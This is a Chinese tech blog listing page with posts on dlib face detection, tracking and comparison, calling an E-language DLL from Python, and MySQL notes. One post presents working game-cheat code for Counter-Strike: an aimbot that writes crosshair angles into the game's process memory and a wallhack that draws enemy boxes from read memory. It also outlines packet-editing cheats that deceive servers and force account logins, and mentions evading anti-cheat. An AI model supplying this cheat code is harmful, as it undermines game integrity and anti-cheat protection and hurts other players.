首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,542 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
63
篇与
的结果
2022-07-22
【技术分享】Python3 模型训练与预测 opencv + dlib实现 ( 第五课 )
训练代码import dlib import cv2 as cv def Train(): options = dlib.simple_object_detector_training_options() options.add_left_right_image_flips = True options.C = 5 options.num_threads = 2 options.be_verbose = True dlib.train_simple_object_detector('data.xml', 'data.svm', options) def deteTest(): imgpath = '1.png' image = cv.imread(imgpath) gray = cv.cvtColor(image, cv.COLOR_BGR2GRAY) detector = dlib.simple_object_detector("data.svm") dets = detector(gray) for (k, d) in enumerate(dets): cv.rectangle(image, (d.left(), d.top()), (d.left() + d.width(), d.top() + d.height()), (0, 255, 0), 1) cv.imshow("Output", image) cv.waitKey(0) if __name__ == '__main__': while True: print(''' | 1.训练模型 | 2.查看效果 | '''.strip()) var = int(input(">>")) if var == 1: Train() if var == 2: deteTest()检测代码import cv2 as cv import numpy as np import dlib, mss, os window_name = 'Test' window_size = 2 sct = mss.mss() monitor = { 'left': 0, 'top': 0, 'width': 1920, 'height': 1080, } num_res_width = 1920 // 2 num_res_height = 1080 // 2 while True: try: # hwnds = win32gui.FindWindow('Chrome_WidgetWin_1', None) # left, top, right, bottom = win32gui.GetWindowRect(hwnds) img = sct.grab(monitor=monitor) img = np.array(img) gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY) cv.namedWindow(window_name, cv.WINDOW_NORMAL) cv.resizeWindow(window_name, num_res_width, num_res_height) detector = dlib.get_frontal_face_detector() dets = detector(gray) for _, d in enumerate(dets): cv.rectangle(img, (d.left(), d.top()), (d.left() + d.width(), d.top() + d.height()), (0, 0, 255), 2) cv.putText(img, "1", (d.left() + d.width(), d.top() + d.height()), cv.FONT_HERSHEY_SIMPLEX, 1.2, (0, 255, 0), 2) cv.imshow(window_name, img) k = cv.waitKey(1) if k % 256 == 27: cv.destroyAllWindows() exit('已退出...') except Exception as e: print(e) os._exit(0)视频教程{bilibili bvid="BV16T4y1r7Jj" page=""/}{cloud title="训练工具" type="default" url="https://wws.lanzouj.com/iEbAK07u66oj" password=""/}
2022年07月22日
411 阅读
0 评论
125 点赞
2022-07-22
【技术分享】Python3 调用易语言DLL
简介编程只是为了解决我们的一些问题而存在的,没有必要区分太细,哪个方便就用哪个吧,易语言从初中就陪伴着我,用习惯了它很方便也可以开发dll,顺便做个笔记以防忘记,使用Python调用易语言dll遇到的坑。易语言dll1.这里写了几个导出函数,分别是 TS、TS2、TS3,都不同有无参的函数,有传参的函数,还有传参返回的函数,这里注意易语言生成的dll是32位的必须要由32位Python才可以调用,64位会直接报错的。Python3调用import ctypes # 导入C类型模块 dll = ctypes.CDLL(r"E:\桌面\ed.dll") # 导入动态链接库 dll.TS() # 调用无参函数 dll.TS2("测试1".encode("gbk")) # 传参需要编码成 gbk text = dll.TS3("测试2".encode("gbk")) print(ctypes.string_at(text).decode("gbk")) # 通过string_at转换成字符 再解码为gbk效果
2022年07月22日
50 阅读
0 评论
4 点赞
2022-07-22
【技术分享】Python3 比对人脸 opencv + dlib实现 ( 第四课 )
简介在前面的几课中介绍了,如何使用dlib标定人脸 人脸检测 提取68个特征点。这次要在这两个工作的基础之上,将人脸的信息提取成一个128维的向量空间。在这个向量空间上,同一个人脸的更接近,不同人脸的距离更远。度量采用欧式距离,欧氏距离计算不算复杂。二维公式三维公式将其扩展到128维的情况下通常使用的判别阈值是0.6,即如果两个人脸的向量空间的欧式距离超过了0.6,即认定不是同一个人;如果欧氏距离小于0.6,则认为是同一个人。{cloud title="模型下载" type="bd" url="https://www.123684.com/s/Ke1Jjv-31go3" password=""/}完整代码import cv2 import dlib import numpy as np def main(): img1 = cv2.imread("1.jpeg") img2 = cv2.imread("2.jpeg") test = cv2.imread("test.jpeg") # BGR to RGB img1 = img1[:, :, ::-1] img2 = img2[:, :, ::-1] test = test[:, :, ::-1] detector = load_face_detector() predictor = load_key_detector() encoder = load_face_coding_feature_model() img1_128D = encoder_face(img1,detector,predictor,encoder)[0] img2_128D = encoder_face(img2,detector,predictor,encoder)[0] test_128D = encoder_face(test,detector,predictor,encoder)[0] all_image_128D = [img1_128D, img2_128D] distance =compare_faces(all_image_128D,test_128D) print(distance) # 加载人脸检测器 def load_face_detector(): return dlib.get_frontal_face_detector() # 加载关键点模型 def load_key_detector(): return dlib.shape_predictor("shape_predictor_68_face_landmarks.dat") # 加载人脸编码特征模型 def load_face_coding_feature_model(): return dlib.face_recognition_model_v1("dlib_face_recognition_resnet_model_v1.dat") # 关键点编码为128D def encoder_face(image,detector,predictor,encoder,upsample=1,jet=1): # 检测人脸(检测到几张人脸) faces = detector(image,upsample) # 对检测的人脸进行关键点检测 faces_key_points = [predictor(image,face) for face in faces] # 对每张检测点进行128D return [np.array(encoder.compute_face_descriptor(image,faces_key_point,jet)) for faces_key_point in faces_key_points] # 人脸比较,通过欧式距离 def compare_faces(face_encoding, test_encoding): return list(np.linalg.norm(np.array(face_encoding) - np.array(test_encoding), axis=1)) if __name__ == '__main__': main() {lamp/}
2022年07月22日
263 阅读
2 评论
68 点赞
2022-07-22
【技术分享】Python3 单目标跟踪 opencv + dlib实现 ( 第三课 )
简介dlib提供了dlib.correlation_tracker()类用于跟踪目标,效果一般般,没训练的模型好。官方文档入口:http://dlib.net/python/index.html#dlib.correlation_tracker完整源码(直接绘制完成后按下enter键即可跟踪)import sys import dlib import cv2 tracker = dlib.correlation_tracker() # 导入correlation_tracker()类 cap = cv2.VideoCapture(0) # OpenCV打开摄像头 start_flag = True # 标记,是否是第一帧,若在第一帧需要先初始化 selection = None # 实时跟踪鼠标的跟踪区域 track_window = None # 要检测的物体所在区域 drag_start = None # 标记,是否开始拖动鼠标 # 鼠标点击事件回调函数 def onMouseClicked(event, x, y, flags, param): global selection, track_window, drag_start # 定义全局变量 if event == cv2.EVENT_LBUTTONDOWN: # 鼠标左键按下 drag_start = (x, y) track_window = None if drag_start: # 是否开始拖动鼠标,记录鼠标位置 xMin = min(x, drag_start[0]) yMin = min(y, drag_start[1]) xMax = max(x, drag_start[0]) yMax = max(y, drag_start[1]) selection = (xMin, yMin, xMax, yMax) if event == cv2.EVENT_LBUTTONUP: # 鼠标左键松开 drag_start = None track_window = selection selection = None cv2.namedWindow("image", cv2.WINDOW_AUTOSIZE) cv2.setMouseCallback("image", onMouseClicked) # opencv的bgr格式图片转换成rgb格式 # b, g, r = cv2.split(frame) # frame2 = cv2.merge([r, g, b]) while True: ret, frame = cap.read() # 从摄像头读入1帧 if start_flag == True: # 如果是第一帧,需要先初始化 # 这里是初始化,窗口中会停在当前帧,用鼠标拖拽一个框来指定区域,随后会跟踪这个目标;我们需要先找到目标才能跟踪不是吗? while True: img_first = frame.copy() # 不改变原来的帧,拷贝一个新的出来 if track_window: # 跟踪目标的窗口画出来了,就实时标出来 cv2.rectangle(img_first, (track_window[0], track_window[1]), (track_window[2], track_window[3]), (0,0,255), 1) elif selection: # 跟踪目标的窗口随鼠标拖动实时显示 cv2.rectangle(img_first, (selection[0], selection[1]), (selection[2], selection[3]), (0,0,255), 1) cv2.imshow("image", img_first) # 按下回车,退出循环 if cv2.waitKey(5) == 13: break start_flag = False # 初始化完毕,不再是第一帧了 tracker.start_track(frame, dlib.rectangle(track_window[0], track_window[1], track_window[2], track_window[3])) # 跟踪目标,目标就是选定目标窗口中的 else: tracker.update(frame) # 更新,实时跟踪 box_predict = tracker.get_position() # 得到目标的位置 cv2.rectangle(frame,(int(box_predict.left()),int(box_predict.top())),(int(box_predict.right()),int(box_predict.bottom())),(0,255,255),1) # 用矩形框标注出来 cv2.imshow("image", frame) # 如果按下ESC键,就退出 if cv2.waitKey(10) == 27: break cap.release() cv2.destroyAllWindows() 视频效果隐藏内容,请前往内页查看详情官方示例# The contents of this file are in the public domain. See LICENSE_FOR_EXAMPLE_PROGRAMS.txt # # This example shows how to use the correlation_tracker from the dlib Python # library. This object lets you track the position of an object as it moves # from frame to frame in a video sequence. To use it, you give the # correlation_tracker the bounding box of the object you want to track in the # current video frame. Then it will identify the location of the object in # subsequent frames. # # In this particular example, we are going to run on the # video sequence that comes with dlib, which can be found in the # examples/video_frames folder. This video shows a juice box sitting on a table # and someone is waving the camera around. The task is to track the position of # the juice box as the camera moves around. # # # COMPILING/INSTALLING THE DLIB PYTHON INTERFACE # You can install dlib using the command: # pip install dlib # # Alternatively, if you want to compile dlib yourself then go into the dlib # root folder and run: # python setup.py install # or # python setup.py install --yes USE_AVX_INSTRUCTIONS # if you have a CPU that supports AVX instructions, since this makes some # things run faster. # # Compiling dlib should work on any operating system so long as you have # CMake and boost-python installed. On Ubuntu, this can be done easily by # running the command: # sudo apt-get install libboost-python-dev cmake # # Also note that this example requires scikit-image which can be installed # via the command: # pip install scikit-image # Or downloaded from http://scikit-image.org/download.html. import os import glob import dlib from skimage import io # Path to the video frames video_folder = os.path.join("..", "examples", "video_frames") # Create the correlation tracker - the object needs to be initialized # before it can be used tracker = dlib.correlation_tracker() win = dlib.image_window() # We will track the frames as we load them off of disk for k, f in enumerate(sorted(glob.glob(os.path.join(video_folder, "*.jpg")))): print("Processing Frame {}".format(k)) img = io.imread(f) # We need to initialize the tracker on the first frame if k == 0: # Start a track on the juice box. If you look at the first frame you # will see that the juice box is contained within the bounding # box (74, 67, 112, 153). tracker.start_track(img, dlib.rectangle(74, 67, 112, 153)) else: # Else we just attempt to track from the previous frame tracker.update(img) win.clear_overlay() win.set_image(img) win.add_overlay(tracker.get_position()) dlib.hit_enter_to_continue(){dotted startColor="#ff6c6c" endColor="#1989fa"/}
2022年07月22日
123 阅读
0 评论
50 点赞
2022-07-21
【技术分享】Python3 人脸特征点标定 opencv + dlib实现 ( 第二课 )
简介在我们检测到人脸区域之后,接下来要研究的问题是获取到不同的脸部的特征,以区分不同人脸,即人脸特征检测(facial feature detection)。它也被称为人脸特征点检测(facial landmark detection)。人脸特征点通常会标识出脸部的下列数个区域:右眼眉毛(Right eyebrow)左眼眉毛(Left eyebrow)右眼(Right eye)左眼(Left eye)嘴巴(Mouth)鼻子(Nose)下巴(Jaw)dlib提供了训练好的模型,可以识别人脸的68个特征点{cloud title="68特征数据" type="bd" url="https://www.123684.com/s/Ke1Jjv-h1go3" password=""/} import dlib import cv2 # 使用 Dlib 的正面人脸检测器 frontal_face_detector detector = dlib.get_frontal_face_detector() # Dlib 的 68点模型 predictor = dlib.shape_predictor("shape_predictor_68_face_landmarks.dat") # 读取图片 img = cv2.imread("2.jpeg") # 生成 Dlib 的图像窗口 win = dlib.image_window() win.set_image(img) # 使用 detector 检测器来检测图像中的人脸 faces = detector(img, 1) print("人脸数:", len(faces)) for i, d in enumerate(faces): print("第", i+1, "个人脸的矩形框坐标:", "left:", d.left(), "right:", d.right(), "top:", d.top(), "bottom:", d.bottom()) # 使用predictor来计算面部轮廓 shape = predictor(img, faces[i]) # 绘制面部轮廓 win.add_overlay(shape) # 绘制矩阵轮廓 win.add_overlay(faces) dlib.hit_enter_to_continue()完整示例:import cv2 import dlib # 读取图片 img_path = "1.jpeg" img = cv2.imread(img_path) # 转换为灰阶图片 gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 正向人脸检测器 detector = dlib.get_frontal_face_detector() # 使用训练完成的68个特征点模型 predictor_path = "shape_predictor_68_face_landmarks.dat" predictor = dlib.shape_predictor(predictor_path) # 使用检测器来检测图像中的人脸 faces = detector(gray, 1) for i, face in enumerate(faces): # 获取人脸特征点 shape = predictor(img, face) # 遍历所有点 for pt in shape.parts(): # 绘制特征点 pt_pos = (pt.x, pt.y) cv2.circle(img, pt_pos, 1, (255,0, 0), 2) cv2.imshow('opencv_face_laowang',img) # 显示图片 cv2.waitKey(0) # 等待用户关闭图片窗口 cv2.destroyAllWindows()# 关闭窗口{lamp/}
2022年07月21日
85 阅读
0 评论
20 点赞
2022-07-20
【技术分享】Python3 透视自瞄外挂制作
简介Memory64内存模块是自己无聊的时候封装的,它可以轻松的操作进程中的内存,做一些游戏辅助还是可以的,模块源码已上传Github上,现在的版本是1.0.3后续会继续更新的。Github 项目安装教程pip install Memory641.通过Python自带的pip工具就可以安装模块,模块只支持32位Python,64位Python并不兼容。使用步骤python -c "import Memory64; print(Memory64.version)"1.安装好后,在终端输入这行命令,查看下模块版本,正常显示没有报错就证明安装成功了。取64位模块地址from Memory64.Bin32 import * hwnd = Openhwnd("Calculator.exe") # 打开进程句柄 pid = GetProcPid("Calculator.exe") # 获取进程PID mod1 = GetModuleAddr64(hwnd, "shlwapi.dll") # 通过进程句柄获取64位程序模块基址 mod2 = GetModule2(pid, "shlwapi.dll") # 通过进程PID获取64位程序模块基址 print(pid, hwnd, mod1, mod2) # 输出进程PID, 进程句柄, 输出模块基址2.这里我用64位程序计算器,做一个演示看看能不能读到内存地址,很显然是没问题的。读64位进程内存from Memory64.Bin32 import * hwnd = Openhwnd("Calculator.exe") # 打开名为"Calculator.exe"的程序句柄 mod1 = GetModuleAddr64(hwnd, "shlwapi.dll") # 通过进程句柄获取模块基址"shlwapi.dll" print(ReadMemory64Int(hwnd, mod1)) # 读取指定模块基址的64位内存整数3.通过模块读下地址数值,也是没有问题的,后面就不演示了,直接放代码。写64位进程内存from Memory64.Bin32 import * hwnd = Openhwnd("Calculator.exe") # 打开名为"Calculator.exe"的程序句柄 mod1 = GetModuleAddr64(hwnd, "shlwapi.dll") # 获取模块"shlwapi.dll"的基址 addr = ReadMemory64Int(hwnd, 0x7FF8E64CEC48) # 从指定地址读取64位内存整数 addr2 = ReadMemory64Int(hwnd, mod1 + 0x4EC48) # 使用模块基址加上偏移读取64位内存整数 print(addr, addr2) # 输出两个读取的内存地址值 WriteMemory64Int(hwnd, mod1 + 0x4EC48, 10) # 在模块基址加上偏移地址写入整数值10 WriteMemory64Float(hwnd, mod1 + 0x4EC48, 5.261) # 写入小数值5.261 WriteMemory64Int(hwnd, mod1 + 0x4EC48, 10) # 在同一地址写入整数值10 bytesa = "11 33 30 32 32 33 35 40 40 58" # 定义一个字节集数据 WriteMemory64Bytes(hwnd, 0x7FF77E2BE72E, bytesa, 10) # 写入指定地址的字节集数据绘制透明方框from Memory64 import FindWindowPid # 导入内存访问模块 import Memory64.D3Gui # 导入图形绘制模块 hwnd = FindWindowPid(None, "xxx")[0] # 通过窗口名称查找窗口句柄 draw = Memory64.D3Gui.ExecDraw(hwnd) # 初始化图形绘制模块 while True: draw.startLoop() # 开始绘制段 draw.drawRect(100, 100, 100, 100, 5, (255, 254, 0)) # 绘制矩形,参数依次是起始 x 坐标, 起始 y 坐标, 宽度, 高度, 边框宽度, 颜色 (R, G, B) draw.endLoop() # 结束绘制段如何打包最好用这种形式打包:打包方式外挂类型分类AI外挂基于目标检测模型,如 YOLOv5。通过训练目标检测模型,对游戏画面进行分析,检测敌人并自动移动射击。其原理简单,主要依赖于图像处理与深度学习模型,效果一般,适用于辅助操作,但不涉及游戏内修改。内存外挂使用工具如 Cheat Engine(CE)或 Ollydbg(OD)进行内存操作。强大的内存修改能力,可以直接更改游戏数据,但容易被反作弊系统检测。需要掌握游戏内存结构以及通过端口拦截或hook技术来规避检测。封包外挂使用工具如 WPE来抓包并修改数据包。能够欺骗服务器,通过修改包内容实现功能,例如刷枪、强登账号等。数据包(TCP/UDP)可能部分加密,通过技术如异或解密来获取未加密数据部分。脚本外挂模拟玩家的鼠标、键盘操作,通过脚本自动化完成任务。比较简单,适合用来执行重复性操作,但效果有限,仅能辅助功能性增强。代码实现原理Python3 实现:代码结构基于图像处理、内存修改或网络抓包技术。Python可以通过封装库、调用Windows API 或使用现成工具库来实现外挂功能。例如,可以使用 Memory64 库或直接调用内存操作来实现内存外挂。工具推荐:Cheat Engine (CE):内存操作与调试工具。Ollydbg (OD):二进制文件调试工具,适用于反汇编和内存调试。WPE:抓包工具,用于数据包编辑与欺骗服务器。实现说明:所有外挂技术基础都是基于对游戏系统的分析和利用系统漏洞进行功能扩展。所有方法都涉及一定程度的反向工程与安全风险,因此需要谨慎使用。注意事项:所有外挂功能都需要在合法范围内使用,否则可能面临法律后果或账户封禁。游戏外挂涉及风险,因此建议仅用于学习和研究,切勿用于商业或非法用途。自瞄代码from Memory64 import * # 导入自定义的内存访问模块 from math import * # 获取游戏窗口句柄和进程ID hwnd, thre, pid = FindWindowPid("Valve001", None) # 取游戏窗口句柄 func = SetupProce(pid) # 设置进程 Modlue_m = func.GetBaseAddr("cstrike.exe") # 获取模块基址 Modlue_e = func.GetBaseAddr("engine_amxx.dll") # 读取特定内存地址的玩家坐标 Pom = func.ReadMemory(Modlue_m + 0x1033240) # 计算二维坐标之间的距离 def Get_Distance(x1, y2, ex, ey): return sqrt((x1 - ex)**2 + (y2 - ey)**2) / 20 # 启动自瞄功能 def Start_AiMBot(): my_x = func.ReadMemory_float(Pom + 0x88) # 读取玩家 x 坐标 my_y = func.ReadMemory_float(Pom + 0x8C) my_z = func.ReadMemory_float(Pom + 0x90) Enemy_data = [] # 存储敌人数据 Number = 133988 # 初始读取偏移地址 # 遍历敌人的坐标 for _ in range(0, 10): Number += 4 Poe = func.ReadMemory(Modlue_e + Number) # 读取敌人坐标 enemy_x = func.ReadMemory_float(Poe + 0x88) enemy_y = func.ReadMemory_float(Poe + 0x8C) enemy_z = func.ReadMemory_float(Poe + 0x90) enemy_hp = func.ReadMemory_float(Poe + 0x1E0) differ_x = enemy_x - my_x differ_y = enemy_y - my_y _distan = sqrt(differ_x**2 + differ_y**2) differ = Get_Distance(my_x, my_y, enemy_x, enemy_y) AiMBot_y = atan((my_z - enemy_z) / _distan) / pi * 180 # 计算角度 if differ_x > 0 and differ_y > 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 # 计算第一象限 if differ_x < 0 and differ_y > 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 + 180 # 计算第二象限 if differ_x < 0 and differ_y < 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 + 180 # 计算第三象限 if differ_x > 0 and differ_y < 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 # 计算第四象限 Enemy_data.append([differ, enemy_hp, AiMBot_x, AiMBot_y]) Enemy_data.sort() if Enemy_data[0][1] < 1: del Enemy_data[0] # 删除血量小于1的敌人数据 try: func.WriteMemory_float(Modlue_m + 0x19E10C4, Enemy_data[0][3] + 1) # 设置准星 y 轴位置 func.WriteMemory_float(Modlue_m + 0x19E10C8, Enemy_data[0][2]) # 设置准星 x 轴位置 except Exception: pass # 程序主逻辑 if __name__ == '__main__': try: while True: if MonitorHotkeys(0x20) != 0: # 按空格键开启自瞄 Start_AiMBot() except KeyboardInterrupt: exit()自瞄讲解{dplayer src="https://www.52tt.pro/usr/uploads/2024/03/4066814740.mp4"/}透视代码from Memory64 import * # 导入内存访问模块 import Memory64.D3Gui # 导入图形绘制模块 import numpy as np # 导入数学操作模块 # 获取游戏窗口句柄和进程ID hwnd, thre, pid = FindWindowPid("Valve001", None) Addr = SetupProce(pid) # 设置目标进程 Modlue_e = Addr.GetBaseAddr("amxmodx_mm.dll") # 获取模块基址 Draws = Memory64.D3Gui.ExecDraw(hwnd) # 初始化图形绘制对象 # 初始化矩阵和窗口尺寸 Matarray = np.zeros([4, 4]) GameWinWidth = 1030 / 2 GameWinHeight = 797 / 2 # 开启循环绘制 while True: Draws.startLoop() # 启动绘制循环 initNumber = -4 for i in range(4): for j in range(4): initNumber += 4 Matarray[i][j] = Addr.ReadMemory_float(0x2C20100 + initNumber) # 读取矩阵数据 offset = 0xFFFFFFFFFFFFFCDC for _ in range(2): # 读取敌人坐标数据 offset += 0x324 Poe = Addr.ReadMemory(Modlue_e + 0x1CFE08) # 读取敌人数据块基址 enemy_x = Addr.ReadMemory_float(Poe + 0x88 + offset) # 读取敌人 x 坐标 enemy_y = Addr.ReadMemory_float(Poe + 0x8C + offset) # 读取敌人 y 坐标 enemy_z = Addr.ReadMemory_float(Poe + 0x90 + offset) # 读取敌人 z 坐标 # 计算投影坐标 Vorz = Matarray[0][2] * enemy_x + Matarray[1][2] * enemy_y + Matarray[2][2] * enemy_z + Matarray[3][2] row = 1 / Vorz VorX = GameWinWidth + (Matarray[0][0] * enemy_x + Matarray[1][0] * enemy_y + Matarray[2][0] * enemy_z + Matarray[3][ 0]) * row * GameWinWidth # x 坐标投影 VorY = GameWinHeight - (Matarray[0][1] * enemy_x + Matarray[1][1] * enemy_y + Matarray[2][1] * (enemy_z - 50) + Matarray[3][ 1]) * row * GameWinHeight # y 坐标投影 VorY2 = GameWinHeight - (Matarray[0][1] * enemy_x + Matarray[1][1] * enemy_y + Matarray[2][1] * (enemy_z + 30) + Matarray[3][ 1]) * row * GameWinHeight # 第二个 y 坐标投影 if Vorz < 0: # 如果投影深度小于零,跳过当前循环 continue FanHeight = VorY - VorY2 # 计算高度差 FanWidth = FanHeight * 0.5 # 计算宽度 Draws.drawText("ACT忆梦", 30, 20, 50, (255, 255, 0)) # 绘制文本 Draws.drawRect(VorX - FanWidth / 2, VorY2, FanWidth, FanHeight, 2, (255, 255, 0)) # 绘制矩形 Draws.endLoop() # 结束绘制循环自瞄效果{bilibili bvid="BV1zb4y1E7kC" page=""/}透视效果{bilibili bvid="BV1Eh411q7tA" page=""/}
2022年07月20日
1,678 阅读
0 评论
422 点赞
2022-07-20
【技术分享】MYSQL学习笔记
简介MySQL是一种关系数据库管理系统,关系数据库将数据保存在不同的表中,不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性,简单的来说就是用来存储数据的,它由于其体积小、速度快、还是开放源码的,一般中小型网站的开发都选择 MySQL 作为网站数据库。登录mysqlnet start mysql(服务名) # 启动MySQL服务 net stop mysql # 停止服务 mysql -h 主机名 -u 用户名 -p # 登录数据库 # 示例:mysql -h localhost -u root -p123456show 显示数据库show databases; # 查看数据库create 创建数据库create database exp; # 创建数据库use exp; # 使用数据库create 创建表create table ser( id int(11), name varchar(25), age int(3)); # 创建表名为 ser show tables; # 查询表 describe ser | desc ser; # 显示表字段 select 查询select * from sers; # 查询表所有内容 select * from sers where name="小美"; # 查询指定内容 select * from sers order by name desc limit 1; # order by 字段排序 asc 升序 |desc 降序 limit 显示列数 select name as n, age as a from sers; # 修改显示别名 select * from sers where name like "小%"; # 查询关键字insert 插入数据insert into ser value(1, "小华", 20); # 往ser表 插入单行数据 insert into ser value( 2,"小红", 18), (3,"小美", 20); # 往ser表 插入多行数据 select * from ser; # 显示表所有字段内容drop 删除数据库drop table tbem; # 删除表 drop database test; # 删除数据库alter 修改表名alter table ser rename to sers; # 修改表名 show tables # 显示表名alter 修改类型alter table sers modify id int(30); # 修改数据类型alter 删除字段alter table sers drop id; # 删除字段delete 删除字段数据delete from sera where id=1; # 删除指定内容 update 修改内容update sers set name="小王" where age=20; # 通过年龄指定修改名称(可以通过id指定)union 联合查询select name from sera union select name from serb order by name; # 联合两个表查询时间过得真快.. 这门课程已经结束了,只是基础语法先记录在这里了方便自己查阅。安装配置mysql安装与配置教程.docPPT版第1章 数据库基础知识.pptx第2章 MySQL基础.pptx作业学生信息(作业 创建这四个表格).xls银行ATM机管理系统.docx考试案例.docmysql案例.rar{collapse}{collapse-item label="MYSQL命令" close}启动MySQL服务 net start mysql(服务名) 停止服务 net stop mysql 登录指令 mysql -h 主机名 -u 用户名 -p 示例:mysql -h localhost -u root -p123456 退出MySQL指令:\q;quit;exit 修改密码: mysqladmin -u 用户名 -p password 新密码 常用指令: \c 取消当前输入的指令 \G 对查询结果进行排版 \s 获取当前数据库的状态 \u(use) 选择指定数据库 配置MySQL的编码格式 临时配置指令: set character_set_client=gbk; 数据库基本操作指令 创建数据库:create database 数据库名; create database 数据库名 character set 编码格式 collate 编码格式_bin;创建时指定数据库的编码格式. 备注:数据库名可以中文也可以英文单词 查看当前系统中的数据库列表 show databases; 查看当前数据库的创建信息 show create database 数据库名; 修改数据库的编码格式 alter database 数据库名 default character set=gbk collate gbk_bin; 删除指定数据库 drop database 数据库名; drop database if exists 数据库名; 创建数据表的语法格式 create table [if not exists] 表名 (字段名 字段数据类型(长度约束) [字段约束], ... 创建外键 [constraint 外键名] foreign key(本表中的外键字段) references 主表表名(主表主键); ); 查看创建的数据库中得所有表格 show tables; 查询表中字段信息 describe|desc 表名; 查询表格的创建信息 show create table 表名; 删除表格 drop table [if exists] 表名; 修改表的编码格式 alter table 表名 default charset=编码格式; 修改表格结构 增加列 alter table 表名 add 列名 数据类型 [字段约束] [first|after 列名2]; 删除列 alter table 表名 drop 列名; 修改列的数据类型 alter table 表名 modify 列名 数据类型; 改列名 alter table 表名 change 旧列名 新列名 数据类型; 改表名 alter table 表名 rename 新表名; rename table 表名 to 新表名; 往表中插入数据 insert|replace [into] 表名[(列名1,列名2...)] values(数据1,数据2...),(数据1,数据2...); 查询数据记录 select *|字段名 from 表名; 修改表格记录 update 表名 set 需要修改的列=修改的值 [where 修改条件]; 删除表格记录 delete from 表名 [where 删除条件]; truncate 表名; 数据查询语句结构: select [distinct] 字段名|* from 表名1,表名2... [where 筛选条件] [group by 需要分组的字段] [having 筛选条件] [order by 需要排序的字段 asc|desc] [limit [从指定行数开始查询,]查询的结果行数] 为查询字段取别名 select 字段名1 [as] 别名1,字段名2 [as] 别名2 from 表名; 条件查询 select *|字段名 from 表名 where 字段名 运算符 值; 多条件查询 select *|字段名 from 表名 where 字段名1 运算符 值 and|or 字段名2 运算符 值; 指定范围查询 select *|字段名 from 表名 where 字段名 [not] between 值1 and 值2; select *|字段名 from 表名 where 字段名 [not] in(值1,值2...); 模糊查询 select *|字段名 from 表名 where 字段名 like 匹配的值; 通配符: %:匹配任意长度字符串 _:匹配一个字符串 空值查询 select *|字段名 from 表名 where 字段名 is [not] null; 查询排序 select *|字段名 from 表名 order by 字段名1 [asc|desc],字段名2 [asc|desc]...; 查询结果分组 select *|字段名 from 表名 group by 字段名1,字段名2... [having 条件]; 限制查询结果行数 select *|字段名 from 表名 limit [跳过的行数,]显示的行数; 集合函数 count(*|字段):返回某列的行数 sum(字段):返回某列数值的和,只能作用在存储纯数值的字段上 avg(字段):返回某列的平均值,只能作用在存储纯数值的字段上 max(字段):返回某列的最大值 min(字段):返回某列的最小值 多表链接 select 表名.字段名1 [别名],表名.字段名2 [别名]....|* from 表名1 [别名] 链接类型 表名2 [别名] on 链接条件 [where 筛选条件]; 内连接 select 表名.字段名1 [别名],表名.字段名2 [别名]....|* from 表名1 join 表名2 on 表1字段 运算符 表2字段; select 表名.字段名1 [别名],表名.字段名2 [别名]....|* from 表名1,表名2 where 表1字段 运算符 表2字段 外链接 select 表名.字段名1 [别名],表名.字段名2 [别名]....|* from 表名1 left|right|full join 表名2 on 表1字段 运算符 表2字段; 嵌套查询 select 字段名1 [别名]...|* from 表1 where 字段 运算符(子查询语句); 比较子查询 select 字段名1 [别名]...|* from 表1 where 字段 比较运算符(子查询语句); 包含多个值的牵头查询语句(in子查询) select 字段名1 [别名]...|* from 表1 where 字段 in(子查询语句); [not] exists运算符:子查询有结果集就为真 select 字段名1 [别名]...|* from 表1 where [not] exists(子查询语句); any子查询:只要外查询的条件有一个满足就会输出结果 select 字段名1 [别名]...|* from 表1 where 字段 比较运算符 any(子查询语句); all子查询:外查询的条件必须全部满足才会输出结果 select 字段名1 [别名]...|* from 表1 where 字段 比较运算符 all(子查询语句); 合并查询结果 select 字段名1 [别名]...|* from 表1 [where 条件] union [all] select 字段名2...|* from 表2 [where 条件] 当需要查询的数据在一个表中,但已知的条件不在同一个表中就用嵌套查询。 当需要查询的数据在多个表中就用多表查询。 用户会话变量赋值格式 格式1:set @变量名1=初值1,[@变量名2=初值2...]; 格式2:selec t @变量名1:=初值1,[@变量名2:=初值2...] 格式3:select 初值1 into @变量名1; 局部变量 begin declare 变量名 数据类型 [default 初值]; end 函数结构 create function 函数名(参数1,参数2.....) returns 返回数据类型 [函数选项] begin 函数体; return 返回值; end; delimiter // 修改结束符 查询函数创建信息 show create function 函数名; 查询函数基本信息 show function status like '函数名'; 查询函数详细信息 select * from information_schema.routines where routine_name='函数名'; 删除函数 drop function 函数名; 流程控制语句 if条件语句 if 条件表达式 then 语句块1; [elseif 条件表达式2 then 语句块2;]... [else 语句块n] end if; case条件语句 case 表达式 when 匹配值1 then 语句块1; when 匹配值2 then 语句块2; ...... else 语句块n; end case; while循环语句 [循环标签:] while 条件表达式 do 循环体; end while [循环标签]; leave语句:结束当前循环 iterate语句:跳过本次循环,进入下次循环 repeat循环语句 [循环标签:] repeat 循环体; until 条件表达式 end repeat 